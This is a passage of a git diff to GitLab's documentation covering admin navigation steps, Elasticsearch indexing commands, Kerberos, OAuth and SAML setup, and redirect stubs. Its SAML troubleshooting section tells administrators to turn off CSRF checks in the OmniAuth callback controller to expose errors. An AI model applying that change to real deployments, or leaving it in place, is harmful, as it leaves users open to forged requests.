partitioned tables. + +- You should not modify the GitLab schema (for example, adding triggers or modifying tables). + Database migrations are tested against the schema definition in the GitLab code base. GitLab + version upgrades may fail if the schema is modified. + ## Puma settings The recommended settings for Puma are determined by the infrastructure on which it's running. @@ -220,22 +202,6 @@ of [legacy Rugged code](../administration/gitaly/index.md#direct-access-to-git-i higher, due to how [Ruby MRI multi-threading](https://en.wikipedia.org/wiki/Global_interpreter_lock) works. -## Unicorn Workers - -For most instances we recommend using: (CPU cores * 1.5) + 1 = Unicorn workers. -For example a node with 4 cores would have 7 Unicorn workers. - -For all machines that have 2GB and up we recommend a minimum of three Unicorn workers. -If you have a 1GB machine we recommend to configure only two Unicorn workers to prevent excessive -swapping. - -As long as you have enough available CPU and memory capacity, it's okay to increase the number of -Unicorn workers and this usually helps to reduce the response time of the applications and -increase the ability to handle parallel requests. - -To change the Unicorn workers when you have the Omnibus package (which defaults to the -recommendation above) please see [the Unicorn settings in the Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/unicorn.html). - ## Redis and Sidekiq Redis stores all user sessions and the background task queue. diff --git a/doc/integration/README.md b/doc/integration/README.md index c5274535d98..7c03b957686 100644 --- a/doc/integration/README.md +++ b/doc/integration/README.md @@ -1,5 +1,6 @@ --- redirect_to: 'index.md' +remove_date: '2021-07-30' --- This document was moved to [another location](index.md). diff --git a/doc/integration/akismet.md b/doc/integration/akismet.md index d2e20b225cc..ba2b25caeff 100644 --- a/doc/integration/akismet.md +++ b/doc/integration/akismet.md @@ -25,8 +25,10 @@ To use Akismet: 1. Go to the [Akismet sign-in page](https://akismet.com/account/). 1. Sign in or create a new account. -1. Click **Show** to reveal the API key. -1. Go to **Admin Area > Settings > Reporting** (`/admin/application_settings/reporting`). +1. Click **Show** to reveal the API key, and copy the API key's value. +1. Sign in to GitLab as an administrator. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > Reporting** (`/admin/application_settings/reporting`). 1. Select the **Enable Akismet** checkbox. 1. Fill in the API key from step 3. 1. Save the configuration. diff --git a/doc/integration/elasticsearch.md b/doc/integration/elasticsearch.md index 68e3f6c76c3..aa82e15f1b1 100644 --- a/doc/integration/elasticsearch.md +++ b/doc/integration/elasticsearch.md @@ -120,7 +120,7 @@ The former Ruby-based indexer was removed in [GitLab 12.3](https://gitlab.com/gi First, we need to install some dependencies, then we build and install the indexer itself. -This project relies on [ICU](http://site.icu-project.org/) for text encoding, +This project relies on [International Components for Unicode](http://site.icu-project.org/) (ICU) for text encoding, therefore we need to ensure the development packages for your platform are installed before running `make`. @@ -140,7 +140,7 @@ To install on CentOS or RHEL, run: sudo yum install libicu-devel ``` -#### Mac OSX +#### macOS To install on macOS, run: @@ -481,19 +481,19 @@ The following are some available Rake tasks: | Task | Description | |:--------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| [`sudo gitlab-rake gitlab:elastic:index`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Enables Elasticsearch indexing and run `gitlab:elastic:create_empty_index`, `gitlab:elastic:clear_index_status`, `gitlab:elastic:index_projects`, and `gitlab:elastic:index_snippets`. | -| [`sudo gitlab-rake gitlab:elastic:index_projects`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Iterates over all projects and queues Sidekiq jobs to index them in the background. | -| [`sudo gitlab-rake gitlab:elastic:index_projects_status`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Determines the overall status of the indexing. It is done by counting the total number of indexed projects, dividing by a count of the total number of projects, then multiplying by 100. | -| [`sudo gitlab-rake gitlab:elastic:clear_index_status`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Deletes all instances of IndexStatus for all projects. Note that this command will result in a complete wipe of the index, and it should be used with caution. | -| [`sudo gitlab-rake gitlab:elastic:create_empty_index`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Generates empty indexes (the default index and a separate issues index) and assigns an alias for each on the Elasticsearch side only if it doesn't already exist. | -| [`sudo gitlab-rake gitlab:elastic:delete_index`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Removes the GitLab indexes and aliases (if they exist) on the Elasticsearch instance. | -| [`sudo gitlab-rake gitlab:elastic:recreate_index`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Wrapper task for `gitlab:elastic:delete_index` and `gitlab:elastic:create_empty_index`. | -| [`sudo gitlab-rake gitlab:elastic:index_snippets`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Performs an Elasticsearch import that indexes the snippets data. | -| [`sudo gitlab-rake gitlab:elastic:projects_not_indexed`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Displays which projects are not indexed. | -| [`sudo gitlab-rake gitlab:elastic:reindex_cluster`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Schedules a zero-downtime cluster reindexing task. This feature should be used with an index that was created after GitLab 13.0. | -| [`sudo gitlab-rake gitlab:elastic:mark_reindex_failed`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Mark the most recent re-index job as failed. | -| [`sudo gitlab-rake gitlab:elastic:list_pending_migrations`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | List pending migrations. Pending migrations include those that have not yet started, have started but not finished, and those that are halted. | -| [`sudo gitlab-rake gitlab:elastic:estimate_cluster_size`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Get an estimate of cluster size based on the total repository size. | +| [`sudo gitlab-rake gitlab:elastic:index`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Enables Elasticsearch indexing and run `gitlab:elastic:create_empty_index`, `gitlab:elastic:clear_index_status`, `gitlab:elastic:index_projects`, and `gitlab:elastic:index_snippets`. | +| [`sudo gitlab-rake gitlab:elastic:index_projects`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Iterates over all projects and queues Sidekiq jobs to index them in the background. | +| [`sudo gitlab-rake gitlab:elastic:index_projects_status`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Determines the overall status of the indexing. It is done by counting the total number of indexed projects, dividing by a count of the total number of projects, then multiplying by 100. | +| [`sudo gitlab-rake gitlab:elastic:clear_index_status`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Deletes all instances of IndexStatus for all projects. Note that this command will result in a complete wipe of the index, and it should be used with caution. | +| [`sudo gitlab-rake gitlab:elastic:create_empty_index`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Generates empty indexes (the default index and a separate issues index) and assigns an alias for each on the Elasticsearch side only if it doesn't already exist. | +| [`sudo gitlab-rake gitlab:elastic:delete_index`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Removes the GitLab indexes and aliases (if they exist) on the Elasticsearch instance. | +| [`sudo gitlab-rake gitlab:elastic:recreate_index`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Wrapper task for `gitlab:elastic:delete_index` and `gitlab:elastic:create_empty_index`. | +| [`sudo gitlab-rake gitlab:elastic:index_snippets`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Performs an Elasticsearch import that indexes the snippets data. | +| [`sudo gitlab-rake gitlab:elastic:projects_not_indexed`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Displays which projects are not indexed. | +| [`sudo gitlab-rake gitlab:elastic:reindex_cluster`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Schedules a zero-downtime cluster reindexing task. This feature should be used with an index that was created after GitLab 13.0. | +| [`sudo gitlab-rake gitlab:elastic:mark_reindex_failed`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Mark the most recent re-index job as failed. | +| [`sudo gitlab-rake gitlab:elastic:list_pending_migrations`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | List pending migrations. Pending migrations include those that have not yet started, have started but not finished, and those that are halted. | +| [`sudo gitlab-rake gitlab:elastic:estimate_cluster_size`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Get an estimate of cluster size based on the total repository size. | ### Environment variables @@ -603,11 +603,12 @@ Sidekiq processes](../administration/operations/extra_sidekiq_processes.md). This step is optional but may help significantly speed up large indexing operations. ```shell - curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{ - "index" : { - "refresh_interval" : "-1", - "number_of_replicas" : 0 - } }' + curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' \ + --data '{ + "index" : { + "refresh_interval" : "-1", + "number_of_replicas" : 0 + } }' ``` 1. Index projects and their associated data: @@ -622,7 +623,7 @@ Sidekiq processes](../administration/operations/extra_sidekiq_processes.md). This enqueues a Sidekiq job for each project that needs to be indexed. You can view the jobs in **Admin Area > Monitoring > Background Jobs > Queues Tab** - and click `elastic_indexer`, or you can query indexing status using a Rake task: + and click `elastic_commit_indexer`, or you can query indexing status using a Rake task: ```shell # Omnibus installations @@ -684,11 +685,12 @@ Sidekiq processes](../administration/operations/extra_sidekiq_processes.md). 1. Enable replication and refreshing again after indexing (only if you previously disabled it): ```shell - curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{ - "index" : { - "number_of_replicas" : 1, - "refresh_interval" : "1s" - } }' + curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' \ + --data '{ + "index" : { + "number_of_replicas" : 1, + "refresh_interval" : "1s" + } }' ``` A force merge should be called after enabling the refreshing above. @@ -696,10 +698,11 @@ Sidekiq processes](../administration/operations/extra_sidekiq_processes.md). For Elasticsearch 6.x, the index should be in read-only mode before proceeding with the force merge: ```shell - curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{ - "settings": { - "index.blocks.write": true - } }' + curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' \ + --data '{ + "settings": { + "index.blocks.write": true + } }' ``` Then, initiate the force merge: @@ -711,10 +714,11 @@ Sidekiq processes](../administration/operations/extra_sidekiq_processes.md). After this, if your index is in read-only mode, switch back to read-write: ```shell - curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{ - "settings": { - "index.blocks.write": false - } }' + curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' \ + --data '{ + "settings": { + "index.blocks.write": false + } }' ``` 1. After the indexing has completed, enable [**Search with Elasticsearch enabled**](#enabling-advanced-search). @@ -730,21 +734,23 @@ However, some larger installations may wish to tune the merge policy settings: - Consider reducing the `index.merge.policy.max_merged_segment` size from the default 5 GB to maybe 2 GB or 3 GB. Merging only happens when a segment has at least 50% deletions. Smaller segment sizes will allow merging to happen more frequently. ```shell - curl --request PUT localhost:9200/gitlab-production/_settings ---header 'Content-Type: application/json' --data '{ - "index" : { - "merge.policy.max_merged_segment": "2gb" - } - }' + curl --request PUT localhost:9200/gitlab-production/_settings ---header 'Content-Type: application/json' \ + --data '{ + "index" : { + "merge.policy.max_merged_segment": "2gb" + } + }' ``` - You can also adjust `index.merge.policy.reclaim_deletes_weight`, which controls how aggressively deletions are targeted. But this can lead to costly merge decisions, so we recommend not changing this unless you understand the tradeoffs. ```shell - curl --request PUT localhost:9200/gitlab-production/_settings ---header 'Content-Type: application/json' --data '{ - "index" : { - "merge.policy.reclaim_deletes_weight": "3.0" - } - }' + curl --request PUT localhost:9200/gitlab-production/_settings ---header 'Content-Type: application/json' \ + --data '{ + "index" : { + "merge.policy.reclaim_deletes_weight": "3.0" + } + }' ``` - Do not do a [force merge](https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-forcemerge.html "Force Merge") to remove deleted documents. A warning in the [documentation](https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-forcemerge.html "Force Merge") states that this can lead to very large segments that may never get reclaimed, and can also cause significant performance or availability issues. @@ -917,11 +923,12 @@ Setting the number of replicas to `0` is discouraged (this is not allowed in the If you have a **hard requirement to have a green status for your single node Elasticsearch cluster**, please make sure you understand the risks outlined in the previous paragraph and then run the following query to set the number of replicas to `0`(the cluster will no longer try to create any shard replicas): ```shell -curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{ -"index" : { - "number_of_replicas" : 0 - } -}' +curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' \ + --data '{ + "index" : { + "number_of_replicas" : 0 + } + }' ``` ### `health check timeout: no Elasticsearch node available` error in Sidekiq diff --git a/doc/integration/external-issue-tracker.md b/doc/integration/external-issue-tracker.md index e82c21947e2..38bcc2b9932 100644 --- a/doc/integration/external-issue-tracker.md +++ b/doc/integration/external-issue-tracker.md @@ -34,10 +34,3 @@ Visit the links below for details: - [Jira](../integration/jira/index.md) - [Redmine](../user/project/integrations/redmine.md) - [YouTrack](../user/project/integrations/youtrack.md) - -### Service Template - -To avoid configuring each project's service individually, GitLab provides the ability to set -Service Templates. These can then be overridden in each project's settings. - -Read more on [Services Templates](../user/project/integrations/services_templates.md). diff --git a/doc/integration/gitpod.md b/doc/integration/gitpod.md index e62e3de29c2..d8aee6e0fd2 100644 --- a/doc/integration/gitpod.md +++ b/doc/integration/gitpod.md @@ -45,7 +45,8 @@ For GitLab self-managed instances, a GitLab administrator needs to: 1. Set up a Gitpod instance to integrate with GitLab. Refer to the [Gitpod documentation](https://www.gitpod.io/docs/self-hosted/latest/self-hosted/) to get your instance up and running. 1. Enable it in GitLab: - 1. Go to **Admin Area > Settings > General**. + 1. On the top bar, select **Menu >** **{admin}** **Admin**. + 1. In the left sidebar, select **Settings > General**. 1. Expand the **Gitpod** configuration section. 1. Check the **Enable Gitpod integration** checkbox. 1. Add your Gitpod instance URL (for example, `https://gitpod.example.com`). diff --git a/doc/integration/google_workspace_saml.md b/doc/integration/google_workspace_saml.md index 46a39a2e64b..a02e88cc33f 100644 --- a/doc/integration/google_workspace_saml.md +++ b/doc/integration/google_workspace_saml.md @@ -1,5 +1,6 @@ --- redirect_to: 'saml.md' +remove_date: '2021-06-15' --- This document was moved to [another location](saml.md). diff --git a/doc/integration/jira/dvcs.md b/doc/integration/jira/dvcs.md index 89d1d70d6aa..dc23765337b 100644 --- a/doc/integration/jira/dvcs.md +++ b/doc/integration/jira/dvcs.md @@ -18,7 +18,7 @@ are accessible. - **Jira Cloud**: Your instance must be accessible through the internet. - **Jira Server**: Your network must allow access to your instance. -## Smart Commits +## Smart commits When connecting GitLab with Jira with DVCS, you can process your Jira issues using special commands, called @@ -74,6 +74,9 @@ your integration. 1. In the **Name** field, enter a descriptive name for the integration, such as `Jira`. 1. In the **Redirect URI** field, enter the URI appropriate for your version of GitLab, replacing `<gitlab.example.com>` with your GitLab instance domain: + - *For GitLab versions 13.0 and later* **and** *Jira versions 8.14 and later,* use the + generated `Redirect URL` from + [Linking GitLab accounts with Jira](https://confluence.atlassian.com/adminjiraserver/linking-gitlab-accounts-1027142272.html). - *For GitLab versions 11.3 and later,* use `https://<gitlab.example.com>/login/oauth/callback`. If you use GitLab.com, the URL is `https://gitlab.com/login/oauth/callback`. - *For GitLab versions 11.2 and earlier,* use @@ -99,13 +102,14 @@ it completes, refreshes every 60 minutes: - *For Jira Cloud,* go to **Settings (gear) > Products > DVCS accounts**. 1. To create a new integration, select the appropriate value for **Host**: - *For Jira versions 8.14 and later:* Select **GitLab** or - <!-- vale gitlab.Substitutions = NO --> - **GitLab Self-Hosted**. - <!-- vale gitlab.Substitutions = YES --> + **GitLab Self-Managed**. - *For Jira versions 8.13 and earlier:* Select **GitHub Enterprise**. 1. For **Team or User Account**, enter either: - - The relative path of a top-level GitLab group that you have access to. - - The relative path of your personal namespace. + - *For Jira versions 8.14 and later:* + - The relative path of a top-level GitLab group that you have access to. + - *For Jira versions 8.13 and earlier:* + - The relative path of a top-level GitLab group that you have access to. + - The relative path of your personal namespace. 1. In the **Host URL** field, enter the URI appropriate for your version of GitLab, replacing `<gitlab.example.com>` with your GitLab instance domain: diff --git a/doc/integration/jira_development_panel.md b/doc/integration/jira_development_panel.md index 152c1df3538..7bfebc18f47 100644 --- a/doc/integration/jira_development_panel.md +++ b/doc/integration/jira_development_panel.md @@ -1,5 +1,6 @@ --- redirect_to: 'jira/index.md' +remove_date: '2021-06-24' --- This document was moved to [another location](jira/index.md). diff --git a/doc/integration/kerberos.md b/doc/integration/kerberos.md index 1984d275794..efff31bec99 100644 --- a/doc/integration/kerberos.md +++ b/doc/integration/kerberos.md @@ -25,7 +25,7 @@ mythology; Kerberos was a three-headed dog who guarded the gates of Hades. For GitLab to offer Kerberos token-based authentication, perform the following prerequisites. You still need to configure your system for -Kerberos usage, such as specifying realms. GitLab will make use of the +Kerberos usage, such as specifying realms. GitLab makes use of the system's Kerberos settings. ### GitLab keytab @@ -34,7 +34,7 @@ system's Kerberos settings. If your GitLab server is `gitlab.example.com` and your Kerberos realm `EXAMPLE.COM`, create a Service Principal `HTTP/gitlab.example.com@EXAMPLE.COM` in your Kerberos database. -1. Create a keytab on the GitLab server for the above Service Principal, e.g. +1. Create a keytab on the GitLab server for the above Service Principal. For example, `/etc/http.keytab`. The keytab is a sensitive file and must be readable by the GitLab user. Set @@ -53,7 +53,7 @@ NOTE: For source installations, make sure the `kerberos` gem group [has been installed](../install/installation.md#install-gems). -1. Edit the `kerberos` section of [`gitlab.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example) to enable Kerberos ticket-based +1. Edit the `kerberos` section of [`gitlab.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example) to enable Kerberos ticket-based authentication. In most cases, you only need to enable Kerberos and specify the location of the keytab: @@ -107,8 +107,9 @@ set up GitLab to create a new account when a Kerberos user tries to sign in. If you're an administrator, you can link a Kerberos account to an existing GitLab account. To do so: -1. Navigate to **Admin Area > Overview > Users > Example User**. -1. Select the Identities tab. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Overview > Users**. +1. Select a user, then select the **Identities** tab. 1. Select 'Kerberos SPNEGO' in the 'Provider' dropdown box. 1. Make sure the **Identifier** corresponds to the Kerberos username. 1. Select **Save changes**. @@ -145,8 +146,9 @@ With that information at hand: administrator if you think this is an error. ``` - 1. As an administrator, you can confirm the new, blocked account. - Select **Admin Area > Overview > Users** and review the Blocked tab. + 1. As an administrator, you can confirm the new, blocked account: + 1. On the top bar, select **Menu >** **{admin}** **Admin**. + 1. On the left sidebar, select **Overview > Users** and review the **Blocked** tab. 1. You can enable the user. 1. If `block_auto_created_users` is false, the Kerberos user is authenticated and is signed in to GitLab. @@ -181,7 +183,7 @@ LDAP Distinguished Names look like `sAMAccountName=foo,dc=ad,dc=example,dc=com`. You can configure custom allowed realms when the user's Kerberos realm doesn't match the domain from the user's LDAP DN. The configuration value must specify all domains that users may be expected to have. Any other domains are -ignored and an LDAP identity won't be linked. +ignored and an LDAP identity is not linked. **For Omnibus installations** @@ -214,12 +216,12 @@ A linked Kerberos account enables you to `git pull` and `git push` using your Kerberos account, as well as your standard GitLab credentials. GitLab users with a linked Kerberos account can also `git pull` and `git push` -using Kerberos tokens, i.e., without having to send their password with each +using Kerberos tokens. That is, without having to send their password with each operation. WARNING: There is a [known issue](https://github.com/curl/curl/issues/1261) with `libcurl` -older than version 7.64.1 wherein it won't reuse connections when negotiating. +older than version 7.64.1 wherein it doesn't reuse connections when negotiating. This leads to authorization issues when push is larger than `http.postBuffer` configuration. Ensure that Git is using at least `libcurl` 7.64.1 to avoid this. To know the `libcurl` version installed, run `curl-config --version`. @@ -236,13 +238,13 @@ authentication fails. For GitLab users to be able to use either `basic` or `negotiate` authentication with older Git versions, it is possible to offer Kerberos ticket-based -authentication on a different port (e.g. 8443) while the standard port offers -only `basic` authentication. +authentication on a different port (for example, `8443`) while the standard port +offers only `basic` authentication. **For source installations with HTTPS** 1. Edit the NGINX configuration file for GitLab - (e.g., `/etc/nginx/sites-available/gitlab-ssl`) and configure NGINX to + (for example, `/etc/nginx/sites-available/gitlab-ssl`) and configure NGINX to listen to port `8443` in addition to the standard HTTPS port: ```conf @@ -253,7 +255,7 @@ only `basic` authentication. listen [::]:8443 ipv6only=on ssl; ``` -1. Update the `kerberos` section of [`gitlab.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example): +1. Update the `kerberos` section of [`gitlab.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example): ```yaml kerberos: @@ -303,7 +305,7 @@ remove the OmniAuth provider named `kerberos` from your `gitlab.yml` / **For installations from source** -1. Edit [`gitlab.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example) and remove the `- { name: 'kerberos' }` line under OmniAuth +1. Edit [`gitlab.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example) and remove the `- { name: 'kerberos' }` line under OmniAuth providers: ```yaml diff --git a/doc/integration/oauth_provider.md b/doc/integration/oauth_provider.md index 490397cdf1b..7540a02e520 100644 --- a/doc/integration/oauth_provider.md +++ b/doc/integration/oauth_provider.md @@ -27,8 +27,8 @@ of the resource owner or the end-user. OAuth 2 can be used: - To allow users to sign in to your application with their GitLab.com account. -- To set up GitLab.com for authentication to your GitLab instance. -(see [GitLab OmniAuth](gitlab.md)). +- To set up GitLab.com for authentication to your GitLab instance. See + [GitLab OmniAuth](gitlab.md). The 'GitLab Importer' feature also uses OAuth 2 to give access to repositories without sharing user credentials to your GitLab.com account. @@ -63,7 +63,7 @@ To add a new application for your user: To add a new application for a group: 1. Navigate to the desired group. -1. In the left sidebar, select **Settings > Applications**. +1. On the left sidebar, select **Settings > Applications**. 1. Enter a **Name**, **Redirect URI** and OAuth 2 scopes as defined in [Authorized Applications](#authorized-applications). The **Redirect URI** is the URL where users are sent after they authorize with GitLab. 1. Select **Save application**. GitLab displays: @@ -73,10 +73,13 @@ To add a new application for a group: ## Instance-wide applications -To create an application for your GitLab instance, select -**Admin Area > Applications > New application**. +To create an application for your GitLab instance: -When creating an **Admin Area** application, you can mark it as _trusted_. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Applications**. +1. Select **New application**. + +When creating application in the **Admin Area** , you can mark it as _trusted_. The user authorization step is automatically skipped for this application. ## Authorized applications diff --git a/doc/integration/omniauth.md b/doc/integration/omniauth.md index 45d44582607..d5f49041f41 100644 --- a/doc/integration/omniauth.md +++ b/doc/integration/omniauth.md @@ -224,7 +224,7 @@ from the OmniAuth provider's documentation. sudo service gitlab stop ``` -- Add the gem to your [`Gemfile`](https://gitlab.com/gitlab-org/gitlab/blob/master/Gemfile): +- Add the gem to your [`Gemfile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/Gemfile): ```shell gem "omniauth-your-auth-provider" @@ -261,7 +261,7 @@ By default, **Sign In** is enabled by using all the OAuth Providers that have be To enable/disable an OmniAuth provider: -1. In the top navigation bar, go to **Admin Area**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. 1. In the left sidebar, go to **Settings**. 1. Scroll to the **Sign-in Restrictions** section, and click **Expand**. 1. Below **Enabled OAuth Sign-In sources**, select the check box for each provider you want to enable or disable. diff --git a/doc/integration/saml.md b/doc/integration/saml.md index da1278b9edd..927dd3cd714 100644 --- a/doc/integration/saml.md +++ b/doc/integration/saml.md @@ -813,13 +813,13 @@ the CSRF check. To bypass this you can add `skip_before_action :verify_authenticity_token` to the `omniauth_callbacks_controller.rb` file immediately after the `class` line and -comment out the `protect_from_forgery` line using a `#`. Restart Unicorn for this +comment out the `protect_from_forgery` line using a `#`. Restart Puma for this change to take effect. This allows the error to hit GitLab, where it can then be seen in the usual logs, or as a flash message on the login screen. That file is located in `/opt/gitlab/embedded/service/gitlab-rails/app/controllers` for Omnibus installations and by default in `/home/git/gitlab/app/controllers` for -installations from source. Restart Unicorn using the `sudo gitlab-ctl restart unicorn` +installations from source. Restart Puma using the `sudo gitlab-ctl restart puma` command on Omnibus installations and `sudo service gitlab restart` on installations from source. diff --git a/doc/integration/slash_commands.md b/doc/integration/slash_commands.md index 2c133c1de76..1f2259a2d57 100644 --- a/doc/integration/slash_commands.md +++ b/doc/integration/slash_commands.md @@ -26,7 +26,7 @@ Taking the trigger term as `project-name`, the commands are: | `/project-name issue move <id> to <project>` | Moves issue ID `<id>` to `<project>` | | `/project-name issue comment <id> <shift+return> <comment>` | Adds a new comment to an issue with ID `<id>` and comment body `<comment>` | | `/project-name deploy <from> to <to>` | Deploy from the `<from>` environment to the `<to>` environment | -| `/project-name run <job name> <arguments>` | Execute [ChatOps](../ci/chatops/index.md) job `<job name>` on `master` | +| `/project-name run <job name> <arguments>` | Execute [ChatOps](../ci/chatops/index.md) job `<job name>` on the default branch | If you are using the [GitLab Slack application](../user/project/integrations/gitlab_slack_application.md) for your GitLab.com projects, [add the `gitlab` keyword at the beginning of the command](../user/project/integrations/gitlab_slack_application.md#usage). diff --git a/doc/integration/sourcegraph.md b/doc/integration/sourcegraph.md index d068aabed41..86ca389e9b2 100644 --- a/doc/integration/sourcegraph.md +++ b/doc/integration/sourcegraph.md @@ -76,7 +76,8 @@ You can skip this step if you already have your GitLab repositories searchable i ### Configure your GitLab instance with Sourcegraph -1. In GitLab, go to **Admin Area > Settings > General**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**. 1. Expand the **Sourcegraph** configuration section. 1. Check **Enable Sourcegraph**. 1. Set the Sourcegraph URL to your Sourcegraph instance, such as `https://sourcegraph.example.com`. diff --git a/doc/intro/README.md b/doc/intro/README.md index c815842480c..488d86f129d 100644 --- a/doc/intro/README.md +++ b/doc/intro/README.md @@ -1,5 +1,6 @@ --- redirect_to: 'index.md' +remove_date: '2021-05-11' --- This document was moved to [another location](index.md). diff --git a/doc/legal/README.md b/doc/legal/README.md index c815842480c..488d86f129d 100644 --- a/doc/legal/README.md +++ b/doc/legal/README.md @@ -1,5 +1,6 @@ --- redirect_to: 'index.md' +remove_date: '2021-05-11' --- This document was moved to [another location](index.md). diff --git a/doc/legal/index.md b/doc/legal/index.md index 371ea53046c..9d7b799335c 100644 --- a/doc/legal/index.md +++ b/doc/legal/index.md @@ -7,4 +7,4 @@ comments: false # Legal -Please read through the [GitLab License Agreement](https://gitlab.com/gitlab-org/gitlab/blob/master/CONTRIBUTING.md). +Please read through the [GitLab License Agreement](https://gitlab.com/gitlab-org/gitlab/-/blob/master/CONTRIBUTING.md). diff --git a/doc/migrate_ci_to_ce/README.md b/doc/migrate_ci_to_ce/README.md index 16d3604cfa4..dbe5a2730b5 100644 --- a/doc/migrate_ci_to_ce/README.md +++ b/doc/migrate_ci_to_ce/README.md @@ -1,461 +1,9 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -type: howto +redirect_to: 'https://docs.gitlab.com/' +remove_date: '2021-06-14' --- -# Migrate GitLab CI to GitLab CE or EE +This document was moved to [another location](https://docs.gitlab.com/). -Beginning with version 8.0 of GitLab Community Edition (CE) and Enterprise -Edition (EE), GitLab CI is no longer its own application, but is instead built -into the CE and EE applications. - -This guide details the process of migrating your CI installation and data -into your GitLab CE or EE installation. **You can only migrate CI data from -GitLab CI 8.0 to GitLab 8.0; migrating between other versions (e.g.7.14 to 8.1) -is not possible.** - -We recommend that you read through the entire migration process in this -document before beginning. - -## Overview - -In this document we assume you have a GitLab server and a GitLab CI server. It -does not matter if these are the same machine. - -The migration consists of three parts: updating GitLab and GitLab CI, moving -data, and redirecting traffic. - -Please note that CI builds triggered on your GitLab server in the time between -updating to 8.0 and finishing the migration are lost. Your GitLab server -can be online for most of the procedure; the only GitLab downtime (if any) is -during the upgrade to 8.0. Your CI service remains offline from the moment you -upgrade to 8.0 until you finish the migration procedure. - -## Before upgrading - -If you have GitLab CI installed using Omnibus GitLab packages but **you don't want to migrate your existing data**: - -```shell -mv /var/opt/gitlab/gitlab-ci/builds /var/opt/gitlab/gitlab-ci/builds.$(date +%s) -``` - -run `sudo gitlab-ctl reconfigure` and you can reach CI at `gitlab.example.com/ci`. - -If you want to migrate your existing data, continue reading. - -### 0. Updating Omnibus from versions prior to 7.13 - -If you are updating from older versions you should first update to 7.14 and then to 8.0 -to avoid the problems described in the [Troubleshooting](#troubleshooting) section. - -### 1. Verify that backups work - -Make sure that the backup script on both servers can connect to the database. - -```shell -# On your CI server: -# Omnibus -sudo chown gitlab-ci:gitlab-ci /var/opt/gitlab/gitlab-ci/builds -sudo gitlab-ci-rake backup:create - -# Source -cd /home/gitlab_ci/gitlab-ci -sudo -u gitlab_ci -H bundle exec rake backup:create RAILS_ENV=production -``` - -Also check on your GitLab server. - -```shell -# On your GitLab server: -# Omnibus -sudo gitlab-backup 